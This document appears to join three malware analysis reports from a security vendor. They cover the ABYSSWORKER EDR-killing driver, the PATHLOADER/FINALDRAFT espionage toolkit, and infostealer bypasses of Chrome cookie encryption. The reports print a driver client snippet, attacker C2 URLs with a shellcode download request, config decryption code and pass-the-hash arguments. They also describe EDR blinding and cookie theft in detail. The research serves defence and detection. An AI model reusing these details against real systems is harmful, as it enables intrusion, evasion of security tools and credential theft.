This handler has two modes of operation: a full mode and a partial mode. In full mode, it loads the APIs using a mapping structure of function names and RVA provided by the user as input to the IO control. In partial mode, it searches for some of the APIs on its own but does not load all the APIs that are loaded in full mode, hence the term partial mode. If the user opts for partial mode due to the inability to provide this mapping structure, some handlers will not execute. In this chapter, we only cover the full mode of operation.

We detail the structures used below:

#define AM_NAME_LENGTH 256
typedef struct _struct_435
{
   uint64_t rva;
   char name[AM_NAME_LENGTH];
} struct_435_t;

#define AM_ARRAY_LENGTH 1024
typedef struct _struct_433
{
   struct_435_t array[AM_ARRAY_LENGTH];
   uint32_t length;
} struct_433_t;

We provide a short example of usage below:

struct_433_t api_mapping = {
    .length = 25,
    .array = {
        [0] = {.rva = 0xcec620, .name = "PspLoadImageNotifyRoutine"},
        [1] = {.rva = 0xcec220, .name = "PspCreateThreadNotifyRoutine"},
        [2] = {.rva = 0xcec420, .name = "PspCreateProcessNotifyRoutine"},
        // (...)
        [24] = {.rva = 0x250060, .name = "NtfsFsdShutdown"},
}};

uint32_t malware_load_api(HANDLE device)
{
    return send_ioctrl(device, IOCTRL_LOAD_API, &api_mapping, sizeof(struct_433_t), NULL, 0);
}

To load its API, the function starts by loading three 'callback lists' from different kernel object types. These are used by the handler that removes registered notification callbacks belonging to a specific module.

Then, it loads pointers to functions by using the provided structure, simply by searching for the function name and adding the associated RVA to the module's base address.

This is done for the following 25 functions:

• PspLoadImageNotifyRoutine
• PspCreateThreadNotifyRoutine
• PspCreateProcessNotifyRoutine
• CallbackListHead
• PspSetCreateProcessNotifyRoutine
• PspTerminateThreadByPointer
• PsTerminateProcess
• IopInvalidDeviceRequest
• ClassGlobalDispatch
• NtfsFsdRead
• NtfsFsdWrite
• NtfsFsdLockControl
• NtfsFsdDirectoryControl
• NtfsFsdClose
• NtfsFsdCleanup
• NtfsFsdCreate
• NtfsFsdDispatchWait
• NtfsFsdDispatchSwitch
• NtfsFsdDispatch
• NtfsFsdFlushBuffers
• NtfsFsdDeviceControl
• NtfsFsdFileSystemControl
• NtfsFsdSetInformation
• NtfsFsdPnp
• NtfsFsdShutdown

File copy and deletion (0x222184, 0x222180)

To copy or delete files, ABYSSWORKER relies on a strategy that, although not new, remains interesting. Instead of using a common API like NtCreateFile, an I/O Request Packet (IRP) is created from scratch and sent directly to the corresponding drive device containing the target file.

Creating a file

The file creation function is used to showcase how this mechanism works. The function starts by obtaining the drive device from the file path. Then, a new file object is created and linked to the target drive device, ensuring that the new object is properly linked to the drive.

Then, it creates a new IRP object and sets all the necessary data to perform the file creation operation. The major function targeted by this IRP is specified in the MajorFunction property, which, in this case, is set to IRP_MJ_CREATE, as expected for file creation.

Then, the malware sends the IRP to the target drive device. While it could have used the IoCallDriver API to do so, it instead sends the IRP manually by calling the corresponding device's major function.

At this point, the file object is valid for further use. The handler finishes its work by incrementing the reference counter of the file object and assigning it to its output parameter for later use.

Copying a file

To copy a file, ABYSSWORKER opens both the source and destination files, then reads (IRP_MJ_READ) from the source and writes (IRP_MJ_WRITE) to the destination.

Deleting a file

The deletion handler sets the file attribute to ATTRIBUTE_NORMAL to unprotect any read-only file and sets the file disposition to delete (disposition_info.DeleteFile = 1) to remove the file using the IRP_MJ_SET_INFORMATION IRP.

Notification callbacks removal by module name (0x222400)

Malware clients can use this handler to blind EDR products and their visibility. It searches for and removes all registered notification callbacks. The targeted callbacks are those registered with the following APIs:

• PsSetCreateProcessNotifyRoutine
• PsSetLoadImageNotifyRoutine
• PsSetCreateThreadNotifyRoutine
• ObRegisterCallbacks
• CmRegisterCallback

Additionally, it removes callbacks registered through a MiniFilter driver and, optionally, removes devices belonging to a specific module.

To delete those notification callbacks, the handler locates them using various methods, such as the three global callback lists previously loaded in the loading API handler, which contain callbacks registered with ObRegisterCallbacks and CmRegisterCallback. It then deletes them using the corresponding APIs, like ObUnRegisterCallbacks and CmUnRegisterCallbacks.

Blinding EDR using these methods deserves a whole blog post of its own. To keep this post concise, we won’t provide more details here, but we invite the reader to explore these methods in two well-documented projects that implement these techniques:

• EDRSandblast
• RealBlindingEDR

Replace driver major functions by module name 0x222404

Another way to interfere with a driver is by using this handler to replace all its major functions with a dummy function, thus disabling any interaction with the driver, given a target module name.

To achieve this, ABYSSWORKER iterates through the driver objects in the Driver and Filesystem object directories. For each driver object, it compares the underlying module name to the target module, and if they match, it replaces all of its major functions with IopInvalidDeviceRequest.

Detach mini filter devices (0x222440)

This handler iterates over all driver objects found in the Driver and FileSystem object directories. For each driver, it explores its device tree and detaches all devices associated with the mini filter driver: FltMgr.sys.

The function works by iterating over the devices of the driver through the AttachedDevice and NextDevice pointers, retrieving the module name of each device's associated driver, and comparing it to the target module name passed as a parameter (”FltMgr.sys”). If the names match, it uses the IoDetachDevice function to unlink the device.

Kill system threads by module name (0x222408)

This handler iterates over threads by brute-forcing their thread IDs and kills them if the thread is a system thread and its start address belongs to the targeted module.

To terminate the thread, the malware queues an APC (asynchronous procedure call) to execute code in the context of the targeted thread. Once executed, this code will, in turn, call PsTerminateSystemThread.

Terminate process and terminate thread (0x222144, 0x222140)

With these two handlers you can terminate any process or a thread by their PID or Thread ID (TID) using PsTerminateProcess and PsTerminateThread.

Removing hooks from Ntfs and Pnp drivers' major functions (0x222444)

On top of registering notification callbacks, some EDRs like to hook major functions of the NTFS and PNP drivers. To remove those hooks, the malware can call this driver to restore the original major functions of those drivers.

ABYSSWORKER simply iterates over each registered major function, checks if the function belongs to the driver module, and if not, it means the function has been hooked, so it replaces it with the original functions.

Reboot 0x222664

To reboot the machine, this handler uses the undocumented function HalReturnToFirmware.

Client implementation example

In this blog post, we provide a small client implementation example. This example works with the reference sample and was used to debug it, but doesn’t implement all the IOCTRLs for the driver and is unlikely to be updated in the future.

However, it contains all the functions to enable it and load its API, so we hope that any motivated reader, with the help of the information in this article, will be able to extend it and further experiment with this malware.

The repository of the project is available here.

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

• Defense Evasion

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• File and Directory Permissions Modification
• Disable or Modify Tools
• Code Signing

Mitigations

YARA

Elastic Security has created the following YARA rules related to this post:

• https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Rootkit_AbyssWorker.yar

Observations

The following observables were discussed in this research:

References

• Google Cloud Mandiant, Mandiant Intelligence. I Solemnly Swear My Driver Is Up to No Good: Hunting for Attestation Signed Malware. https://cloud.google.com/blog/topics/threat-intelligence/hunting-attestation-signed-malware/
• Unit42, Jerome Tujague, Daniel Bunce. Crypted Hearts: Exposing the HeartCrypt Packer-as-a-Service Operation, December 13, 2024. https://unit42.paloaltonetworks.com/packer-as-a-service-heartcrypt-malware/
• ConnectWise, Blake Eakin. "Attackers Leveraging Microsoft Teams Defaults and Quick Assist for Social Engineering Attacks", January 31 2025. https://www.linkedin.com/pulse/attackers-leveraging-microsoft-teams-defaults-quick-assist-p1u5c/
• wavestone-cdt, Aug 30, 2024. https://github.com/wavestone-cdt/EDRSandblast/tree/master
• myzxcg, May 24, 2024. https://github.com/myzxcg/RealBlindingEDR

While investigating REF7707, Elastic Security Labs discovered a new family of previously unknown malware that leverages Outlook as a communication channel via the Microsoft Graph API. This post-exploitation kit includes a loader, a backdoor, and multiple submodules that enable advanced post-exploitation activities.

Our analysis uncovered a Linux variant and an older PE variant of the malware, each with multiple distinct versions that suggest these tools have been under development for some time.

The completeness of the tools and the level of engineering involved suggest that the developers are well-organized. The extended time frame of the operation and evidence from our telemetry suggest it’s likely an espionage-oriented campaign.

This report details the features and capabilities of these tools.

For the campaign analysis of REF7707 - check out From South America to Southeast Asia: The Fragile Web of REF7707.

Technical Analysis

PATHLOADER

PATHLOADER is a Windows PE file that downloads and executes encrypted shellcode retrieved from external infrastructure.

Our team recovered and decrypted the shellcode retrieved by PATHLOADER, extracting a new implant we have not seen publicly reported, which we call FINALDRAFT. We believe these two components are used together to infiltrate sensitive environments.

Configuration

PATHLOADER is a lightweight Windows executable at 206 kilobytes; this program downloads and executes shellcode hosted on a remote server. PATHLOADER includes an embedded configuration stored in the .data section that includes C2 and other relevant settings.

After Base64 decoding and converting from the embedded hex string, the original configuration is recovered with two unique typosquatted domains resembling security vendors.

https://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|*

Configuration from PATHLOADER

API Hashing

In order to block static analysis efforts, PATHLOADER performs API hashing using the Fowler–Noll–Vo hash function. This can be observed based on the immediate value 0x1000193 found 37 times inside the binary. The API hashing functionality shows up as in-line as opposed to a separate individual function.

String Obfuscation

PATHLOADER uses string encryption to obfuscate functionality from analysts reviewing the program statically. While the strings are easy to decrypt while running or if using a debugger, the obfuscation shows up in line, increasing the complexity and making it more challenging to follow the control flow. This obfuscation uses SIMD (Single Instruction, Multiple Data) instructions and XMM registers to transform the data.

One string related to logging WinHttpSendRequest error codes used by the malware developer was left unencrypted.

Execution/Behavior

Upon execution, PATHLOADER employs a combination of GetTickCount64 and Sleep methods to avoid immediate execution in a sandbox environment. After a few minutes, PATHLOADER parses its embedded configuration, cycling through both preconfigured C2 domains (poster.checkponit[.]com, support.fortineat[.]com) attempting to download the shellcode through HTTPS GET requests.

GET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: poster.checkponit.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36

The shellcode is AES encrypted and Base64 encoded. The AES decryption is performed using the shellcode download URL path “/nzoMeFYgvjyXK3P” as the 128-bit key used in the call to the CryptImportKey API.

After the CryptDecrypt call, the decrypted shellcode is copied into previously allocated memory. The memory page is then set to PAGE_EXECUTE_READ_WRITE using the NtProtectVirtualMemory API. Once the page is set to the appropriate protection, the shellcode entrypoint is called, which in turn loads and executes the next stage: FINALDRAFT.

FINALDRAFT

FINALDRAFT is a 64-bit malware written in C++ that focuses on data exfiltration and process injection. It includes additional modules, identified as parts of the FINALDRAFT kit, which can be injected by the malware. The output from these modules is then forwarded to the C2 server.

Entrypoint

FINALDRAFT exports a single entry point as its entry function. The name of this function varies between samples; in this sample, it is called UpdateTask.

Initialization

The malware is initialized by loading its configuration and generating a session ID.

Configuration loading process

The configuration is hardcoded in the binary in an encrypted blob. It is decrypted using the following algorithm.

for ( i = 0; i < 0x149A; ++i )
  configuration[i] ^= decryption_key[i & 7];

Decryption algorithm for configuration data

The decryption key is derived either from the Windows product ID (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId) or from a string located after the encrypted blob. This is determined by a global flag located after the encrypted configuration blob.

The decryption key derivation algorithm is performed as follows:

uint64_t decryption_key = 0;
do
  decryption_key = *data_source++ + 31 * decryption_key;
while ( data_source != &data_source[data_source_length] );

Decryption key derivation algorithm

The configuration structure is described as follows:

struct Configuration // sizeof=0x149a
{
  char c2_hosts_or_refresh_token[5000];
  char pastebin_url[200];
  char guid[36];
  uint8_t unknown_0[4];
  uint16_t build_id;
  uint32_t sleep_value;
  uint8_t communication_method;
  uint8_t aes_encryption_key[16];
  bool get_external_ip_address;
  uint8_t unknown_1[10]
};

Configuration structure

The configuration is consistent across variants and versions, although not all fields are utilized. For example, the communication method field wasn't used in the main variant at the time of this publication, and only the MSGraph/Outlook method was used. However, this is not the case in the ELF variant or prior versions of FINALDRAFT.

The configuration also contains a Pastebin URL, which isn’t used across any of the variants. However, this URL was quite useful to us for pivoting from the initial sample.

Session ID derivation process

The session ID used for communication between FINALDRAFT and C2 is generated by creating a random GUID, which is then processed using the Fowler-Noll-Vo (FNV) hash function.

Communication protocol

During our analysis, we discovered that different communication methods are available from the configuration; however, the most contemporary sample at this time uses only the COutlookTrans class, which abuses the Outlook mail service via the Microsoft Graph API. This same technique was observed in SIESTAGRAPH, a previously unknown malware family reported by Elastic Security Labs in February 2023 and attributed to a PRC-affiliated threat group.

The Microsoft Graph API token is obtained by FINALDRAFT using the https://login.microsoftonline.com/common/oauth2/token endpoint. The refresh token used for this endpoint is located in the configuration.

Once refreshed, the Microsoft Graph API token is stored in the following registry paths based on whether the user has administrator privileges:

• HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration>
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration>

This token is reused across requests, if it is still valid.

The communication loop is described as follows:

• Create a session email draft if it doesn’t already exist.
• Read and delete command request email drafts created by the C2.
• Process commands
• Write command response emails as drafts for each processed command.

A check is performed to determine whether a session email, in the form of a command response email identified by the subject p_<session-id>, already exists. If it does not, one is created in the mail drafts. The content of this email is base64 encoded but not AES encrypted.

The session data is described in the structure below.

struct Session
{
  char random_bytes[30];
  uint32_t total_size;
  char field_22;
  uint64_t session_id;
  uint64_t build_number;
  char field_33;
};

Session data structure

The command queue is filled by checking the last five C2 command request emails in the mail drafts, which have subjects r_<session-id>.

After reading the request, emails are then deleted.

Commands are then processed, and responses are written into new draft emails, each with the same p_<session-id> subject for each command response.

Content for message requests and responses are Zlib compressed, AES CBC encrypted, and Base64 encoded. The AES key used for encryption and decryption is located in the configuration blob.

Base64(AESEncrypt(ZlibCompress(data)))

Request messages sent from the C2 to the implant follow this structure.

struct C2Message{
  struct {
    uint8_t random_bytes[0x1E];  
    uint32_t message_size;    
    uint64_t session_id;      
  } header;                     // Size: 0x2A (42 bytes)
  
  struct {
    uint32_t command_size;                     
    uint32_t next_command_struct_offset;
    uint8_t command_id;                   
    uint8_t unknown[8];                   
    uint8_t command_args[];                       
  } commands[];
};

Request message structure

Response messages sent from the implant to C2 follow this structure.

struct ImplantMessage {
  struct Header {
    uint8_t random_bytes[0x1E];  
    uint32_t total_size;    
    uint8_t flag;		// Set to 1
    uint64_t session_id;
    uint16_t build_id;
    uint8_t pad[6];
  } header;
  
  struct Message {
    uint32_t actual_data_size_add_0xf;
    uint8_t command_id;
    uint8_t unknown[8];
    uint8_t flag_success;
    char newline[0x2];
    uint8_t actual_data[];
  }                    
};

Response message structure

Here is an example of data stolen by the implant.

Commands

FinalDraft registers 37 command handlers, with most capabilities revolving around process injection, file manipulation, and network proxy capabilities.

Below is a table of the commands and their IDs:

FINALDRAFT command handler table

Gather computer information

Upon execution of the GatherComputerInformation command, information about the victim machine is collected and sent by FINALDRAFT. This information includes the computer name, the account username, internal and external IP addresses, and details about running processes.

This structure is described as follows:

struct ComputerInformation
{
  char field_0;
  uint64_t session_id;
  char field_9[9];
  char username[50];
  char computer_name[50];
  char field_76[16];
  char external_ip_address[20];
  char internal_ip_address[20];
  uint32_t sleep_value;
  char field_B2;
  uint32_t os_major_version;
  uint32_t os_minor_version;
  bool product_type;
  uint32_t os_build_number;
  uint16_t os_service_pack_major;
  char field_C2[85];
  char field_117;
  char current_module_name[50];
  uint32_t current_process_id;
};

Collected information structure

The external IP address is collected when enabled in the configuration.

This address is obtained by FINALDRAFT using the following list of public services.

IP lookup service list

Process injection

FINALDRAFT has multiple process injection-related commands that can inject into either running processes or create a hidden process to inject into.

In cases where a process is created, the target process is either an executable path provided as a parameter to the command or defaults to mspaint.exe or conhost.exe as a fallback.

Depending on the command and its parameters, the process can be optionally created with its standard output handle piped. In this case, once the process is injected, FINALDRAFT reads from the pipe's output and sends its content along with the command response.

Another option exists where, instead of piping the standard handle of the process, FINALDRAFT, after creating and injecting the process, waits for the payload to create a Windows named pipe. It then connects to the pipe, writes some information to it, reads its output, and sends the data to the C2 through a separate channel. (In the case of the Outlook transport channel, this involves creating an additional draft email.).

The process injection procedure is basic and based on VirtualAllocEx, WriteProcessMemory, and RtlCreateUserThread API.

Forwarding data from TCP, UDP, and named pipes

FINALDRAFT offers various methods of proxying data to C2, including UDP and TCP listeners, and a named pipe client.

Proxying UDP and TCP data involves handling incoming communication differently based on the protocol. For UDP, messages are received directly from the sender, while for TCP, client connections are accepted before receiving data. In both cases, the data is read from the socket and forwarded to the transport channel.

Below is an example screenshot of the recvfrom call from the UDP listener.

Before starting the TCP listener server, FINALDRAFT adds a rule to the Windows Firewall. This rule is removed when the server shuts down. To add/remove these rules the malware uses COM and the INetFwPolicy2 and the INetFwRule interfaces.

FINALDRAFT can also establish a TCP connection to a target. In this case, it sends a magic value, “\x12\x34\xab\xcd\ff\xff\xcd\xab\x34\x12” and expects the server to echo the same magic value back before beginning to forward the received data.

For the named pipe, FINALDRAFT only connects to an existing pipe. The pipe name must be provided as a parameter to the command, after which it reads the data and forwards it through a separate channel.

File manipulation

For the file deletion functionality, FINALDRAFT prevents file recovery by overwriting file data with zeros before deleting them.

FINALDRAFT defaults to CopyFileW for file copying. However, if it fails, it will attempt to copy the file at the NTFS cluster level.

It first opens the source file as a drive handle. To retrieve the cluster size of the volume where the file resides, it uses GetDiskFreeSpaceW to retrieve information about the number of sectors per cluster and bytes per sector. DeviceIoControl is then called with FSCTL_GET_RETRIEVAL_POINTERS to retrieve details of extents: locations on disk storing the data of the specified file and how much data is stored there in terms of cluster size.

For each extent, it uses SetFilePointer to move the source file pointer to the corresponding offset in the volume; reading and writing one cluster of data at a time from the source file to the destination file.

If the file does not have associated cluster mappings, it is a resident file, and data is stored in the MFT itself. It uses the file's MFT index to get its raw MFT record. The record is then parsed to locate the $DATA attribute (type identifier = 128). Data is then extracted from this attribute and written to the destination file using WriteFile.

Injected Modules

Our team observed several additional modules loaded through the DoProcessInjectionSendOutputEx command handler performing process injection and writing the output back through a named pipe. This shellcode injected by FINALDRAFT leverages the well-known sRDI project, enabling the loading of a fully-fledged PE DLL into memory within the same process, resolving its imports and calling its export entrypoint.

Network enumeration (ipconfig.x64.dll)

This module creates a named pipe (\\.\Pipe\E340C955-15B6-4ec9-9522-1F526E6FBBF1) waiting for FINALDRAFT to connect to it. Perhaps to prevent analysis/sandboxing, the threat actor used a password (Aslire597) as an argument, if the password is incorrect, the module will not run.

As its name suggests, this module is a custom implementation of the ipconfig command retrieving networking information using Windows API’s (GetAdaptersAddresses, GetAdaptersInfo, GetNetworkParams) and reading the Windows registry keypath (SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces). After the data is retrieved, it is sent back to FINALDRAFT through the named pipe.

PowerShell execution (Psloader.x64.dll)

This module allows the operator to execute PowerShell commands without invoking the powershell.exe binary. The code used is taken from PowerPick, a well-known open source offensive security tool.

To evade detection, the module first hooks the EtwEventWrite, ReportEventW, and AmsiScanBuffer APIs, forcing them to always return 0, which disables ETW logging and bypasses anti-malware scans.

Next, the DLL loads a .NET payload (PowerPick) stored in its .data section using the CLR Hosting technique.

The module creates a named pipe (\\.\Pipe\BD5AE956-0CF5-44b5-8061-208F5D0DBBB2) which is used for command forwarding and output retrieval. The main thread is designated as the receiver, while a secondary thread is created to write data to the pipe. Finally, the managed PowerPick binary is loaded and executed by the module.

Pass-the-Hash toolkit (pnt.x64.dll)

This module is a custom Pass-the-Hash (PTH) toolkit used to start new processes with stolen NTLM hashes. This PTH implementation is largely inspired by the one used by Mimikatz, enabling lateral movement.

A password (Aslire597), domain, and username with the NTLM hash, along with the file path of the program to be elevated, are required by this module. In our sample, this command line is loaded by the sRDI shellcode. Below is an example of the command line.

program.exe <password> <domain>\<account>:<ntlm_hash> <target_process>

Like the other module, it creates a named pipe, ”\\.\Pipe\EAA0BF8D-CA6C-45eb-9751-6269C70813C9”, and awaits incoming connections from FINALDRAFT. This named pipe serves as a logging channel.

After establishing the pipe connection, the malware creates a target process in a suspended state using CreateProcessWithLogonW, identifies key structures like the LogonSessionList and LogonSessionListCount within the Local Security Authority Subsystem Service (LSASS) process, targeting the logon session specified by the provided argument.

Once the correct session is matched, the current credential structure inside LSASS is overwritten with the supplied NTLM hash instead of the current user's NTLM hash, and finally, the process thread is resumed. This technique is well explained in the blog post "Inside the Mimikatz Pass-the-Hash Command (Part 2)" by Praetorian. The result is then sent to the named pipe.

FINALDRAFT ELF variant

During this investigation, we discovered an ELF variant of FINALDRAFT. This version supports more transport protocols than the PE version, but has fewer features, suggesting it might be under development.

Additional transport channels

The ELF variant of FINALDRAFT supports seven additional protocols for C2 transport channels:

FINALDRAFT ELF variant C2 communication options

From the ELF samples discovered, we have identified implants configured to use the HTTP and Outlook via Graph API channels.

While the code structure is similar to the most contemporary PE sample, at the time of this publication, some parts of the implant's functionality were modified to conform to the Linux environment. For example, new Microsoft OAuth refresh tokens requested are written to a file on disk, either /var/log/installlog.log.<UUID_from_config> or /mnt/hgfsdisk.log.<UUID_from_config> if it fails to write to the prior file.

Below is a snippet of the configuration which uses the HTTP channel. We can see two C2 servers are used in place of a Microsoft refresh token, the port number 0x1bb (443) at offset 0xc8, and flag for using HTTPS at offset 0xfc.

The domains are intentionally designed to typosquat well-known vendors, such as "VMSphere" (VMware vSphere). However, it's unclear which vendor "Hobiter" is attempting to impersonate in this instance.

Domain list

Commands

All of the commands overlap with its Windows counterpart, but offer fewer options. There are two C2 commands dedicated to collecting information about the victim's machine. Together, these commands gather the following details:

• Hostname
• Current logged-in user
• Intranet IP address
• External IP address
• Gateway IP address
• System boot time
• Operating system name and version
• Kernel version
• System architecture
• Machine GUID
• List of active network connections
• List of running processes
• Name of current process

Command Execution

While there are no process injection capabilities, the implant can execute shell commands directly. It utilizes popen for command execution, capturing both standard output and errors, and sending the results back to the C2 infrastructure.

Self Deletion

To dynamically resolve the path of the currently running executable, its symlink pointing to the executable image is passed to sys_readlink. sys_unlink is then called to remove the executable file from the filesystem.

Older FINALDRAFT PE sample

During our investigation, we identified an older version of FINALDRAFT. This version supports half as many commands but includes an additional transport protocol alongside the MS Graph API/Outlook transport channel.

The name of the binary is Session.x64.dll, and its entrypoint export is called GoogleProxy:

HTTP transport channel

This older version of FINALDRAFT selects between the Outlook or HTTP transport channel based on the configuration.

In this sample, the configuration contains a list of hosts instead of the refresh token found in the main sample. These same domains were used by PATHLOADER, the domain (checkponit[.]com) was registered on 2022-08-26T09:43:16Z and domain (fortineat[.]com) was registred on 2023-11-08T09:47:47Z.

The domains purposely typosquat real known vendors, CheckPoint and Fortinet, in this case.

Domain list

Shell command

An additional command exists in this sample that is not present in later versions. This command, with ID 1, executes a shell command.

The execution is carried out by creating a cmd.exe process with the "/c" parameter, followed by appending the actual command to the parameter.

Detection

Elastic Defend detects the process injection mechanism through two rules. The first rule detects the WriteProcessMemory API call targeting another process, which is a common behavior observed in process injection techniques.

The second rule detects the creation of a remote thread to execute the shellcode.

We also detect the loading of the PowerShell engine by the Psloader.x64.dll module, which is injected into the known target mspaint.exe.

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

• Command and Control
• Defense Evasion
• Discovery
• Execution
• Exfiltration
• Lateral Movement

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Web Service: One-Way Communication
• Encrypted Channel: Symmetric Cryptography
• Hide Artifacts: Hidden Window
• Masquerading: Match Legitimate Name or Location
• Masquerading: Rename System Utilities
• Process Injection: Portable Executable Injection
• Reflective Code Loading
• Use Alternate Authentication Material: Pass the Hash
• Network Service Discovery
• Process Discovery
• Query Registry
• Exfiltration Over Web Service

Mitigations

Detection

• Suspicious Memory Write to a Remote Process
• Unusual PowerShell Engine ImageLoad
• AMSI Bypass via Unbacked Memory
• AMSI or WLDP Bypass via Memory Patching
• Suspicious Execution via Windows Service
• Execution via Windows Command Line Debugging Utility
• Suspicious Parent-Child Relationship

YARA

Elastic Security has created the following YARA rules related to this post:

• Windows.Trojan.PathLoader
• Windows.Trojan.FinalDraft
• Linux.Trojan.FinalDraft
• Multi.Trojan.FinalDraft

Observations

The following observables were discussed in this research:

In July, Google announced a new protection mechanism for cookies stored within Chrome on Windows, known as Application-Bound Encryption. There is no doubt this security implementation has raised the bar and directly impacted the malware ecosystem. After months with this new feature, many infostealers have written new code to bypass this protection (as the Chrome Security Team predicted) in order to stay competitive in the market and deliver capabilities that reliably retrieve cookie data from Chrome browsers.

Elastic Security Labs has been tracking a subset of this activity, identifying multiple techniques used by different malware families to circumvent App-Bound Encryption. While the ecosystem is still evolving in light of this pressure, our goal is to share technical details that help organizations understand and defend against these techniques. In this article, we will cover the different methods used by the following infostealer families:

• STEALC/VIDAR
• METASTEALER
• PHEMEDRONE
• XENOSTEALER
• LUMMA

Key takeaways

• Latest versions of infostealers implement bypasses around Google’s recent cookie protection feature using Application-Bound Encryption
• Techniques include integrating offensive security tool ChromeKatz, leveraging COM to interact with Chrome services and decrypt the app-bound encryption key, and using the remote debugging feature within Chrome
• Defenders should actively monitor for different cookie bypass techniques against Chrome on Windows in anticipation of future mitigations and bypasses likely to emerge in the near- to mid-term
• Elastic Security provides mitigations through memory signatures, behavioral rules, and hunting opportunities to enable faster identification and response to infostealer activity

Background

Generically speaking, cookies are used by web applications to store visitor information in the browser the visitor uses to access that web app. This information helps the web app track that user, their preferences, and other information from location to location– even across devices.

The authentication token is one use of the client-side data storage structures that enables much of how modern web interactivity works. These tokens are stored by the browser after the user has successfully authenticated with a web application. After username and password, after multifactor authentication (MFA) via one-time passcodes or biometrics, the web application “remembers” your browser is you via the exchange of this token with each subsequent web request.

A malicious actor who gets access to a valid authentication token can reuse it to impersonate the user to that web service with the ability to take over accounts, steal personal or financial information, or perform other actions as that user such as transfer financial assets.

Cybercriminals use infostealers to steal and commoditize this type of information for their financial gain.

Google Chrome Cookie Security

Legacy versions of Google Chrome on Windows used the Windows native Data Protection API (DPAPI) to encrypt cookies and protect them from other user contexts. This provided adequate protection against several attack scenarios, but any malicious software running in the targeted user’s context could decrypt these cookies using the DPAPI methods directly. Unfortunately, this context is exactly the niche that infostealers often find themselves in after social engineering for initial access. The DPAPI scheme is now well known to attackers with several attack vectors; from local decryption using the API, to stealing the masterkey and decrypting remotely, to abusing the domain-wide backup DPAPI key in an enterprise environment.

With the release of Chrome 127 in July 2024, Google implemented Application-Bound Encryption of browser data. This mechanism directly addressed many common DPAPI attacks against Windows Chrome browser data–including cookies. It does this by storing the data in encrypted datafiles, and using a service running as SYSTEM to verify any decryption attempts are coming from the Chrome process before returning the key to that process for decryption of the stored data.

While it is our view that this encryption scheme is not a panacea to protect all browser data (as the Chrome Security Team acknowledges in their release) we do feel it has been successful in driving malware authors to TTPs that are more overtly malicious, and easier for defenders to identify and respond to.

Stealer Bypass Techniques, Summarized

The following sections will describe specific infostealer techniques used to bypass Google’s App-Bound Encryption feature as observed by Elastic. Although this isn’t an exhaustive compilation of bypasses, and development of these families is ongoing, they represent an interesting dynamic within the infostealer space showing how malware developers responded to Google’s recently updated security control. The techniques observed by our team include:

• Remote debugging via Chrome’s DevTools Protocol
• Reading process memory of Chrome network service process (ChromeKatz and ReadProcessMemory (RPM))
• Elevating to SYSTEM then decrypting app_bound_encryption_key with the DecryptData method of GoogleChromeElevationService through COM

STEALC/VIDAR

Our team observed new code introduced to STEALC/VIDAR related to the cookie bypass technique around September 20th. These were atypical samples that stood out from previous versions and were implemented as embedded 64-bit PE files along with conditional checks. Encrypted values in the SQLite databases where Chrome stores its data are now prefixed with v20, indicating that the values are now encrypted using application-bound encryption.

STEALC was introduced in 2023 and was developed with “heavy inspiration” from other more established stealers such as RACOON and VIDAR. STEALC and VIDAR have continued concurrent development, and in the case of App-Bound Encryption bypasses have settled on the same implementation.

During the extraction of encrypted data from the databases the malware checks for this prefix. If it begins with v20, a child process is spawned using the embedded PE file in the .data section of the binary. This program is responsible for extracting unencrypted cookie values residing in one of Chrome's child processes.

This embedded binary creates a hidden desktop via OpenDesktopA / CreateDesktopA then uses CreateToolhelp32Snapshot to scan and terminate all chrome.exe processes. A new chrome.exe process is then started with the new desktop object. Based on the installed version of Chrome, the malware selects a signature pattern for the Chromium feature CookieMonster, an internal component used to manage cookies.

We used the signature patterns to pivot to existing code developed for an offensive security tool called ChromeKatz. At this time, the patterns have been removed from the ChromeKatz repository and replaced with a new technique. Based on our analysis, the malware author appears to have reimplemented ChromeKatz within STEALC in order to bypass the app-bound encryption protection feature.

Once the malware identifies a matching signature, it enumerates Chrome’s child processes to check for the presence of the --utility-sub-type=network.mojom.NetworkService command-line flag. This flag indicates that the process is the network service responsible for handling all internet communication. It becomes a prime target as it holds the sensitive data the attacker seeks, as described in MDSec’s post. It then returns a handle for that specific child process.

Next, it enumerates each module in the network service child process to find and retrieve the base address and size of chrome.dll loaded into memory. STEALC uses CredentialKatz::FindDllPattern and CookieKatz::FindPattern to locate the CookieMonster instances. There are 2 calls to CredentialKatz::FindDllPattern.

In the first call to CredentialKatz::FindDllPattern, it tries to locate one of the signature patterns (depending on the victim’s Chrome version) in chrome.dll. Once found, STEALC now has a reference pointer to that memory location where the byte sequence begins which is the function net::CookieMonster::~CookieMonster, destructor of the CookieMonster class.

The second call to CredentialKatz::FindDllPattern passes in the function address for net::CookieMonster::~CookieMonster(void) as an argument for the byte sequence search, resulting in STEALC having a pointer to CookieMonster’s Virtual Function Pointer struct.

The following method used by STEALC is again, identical to ChromeKatz, where it locates CookieMonster instances by scanning memory chunks in the chrome.dll module for pointers referencing the CookieMonster vtable. Since the vtable is a constant across all objects of a given class, any CookieMonster object will have the same vtable pointer. When a match is identified, STEALC treats the memory location as a CookieMonster instance and stores its address in an array.

For each identified CookieMonster instance, STEALC accesses the internal CookieMap structure located at an offset of +0x30, and which is a binary tree. Each node within this tree contains pointers to CanonicalCookieChrome structures. CanonicalCookieChrome structures hold unencrypted cookie data, making it accessible for extraction. STEALC then initiates a tree traversal by passing the first node into a dedicated traversal function.

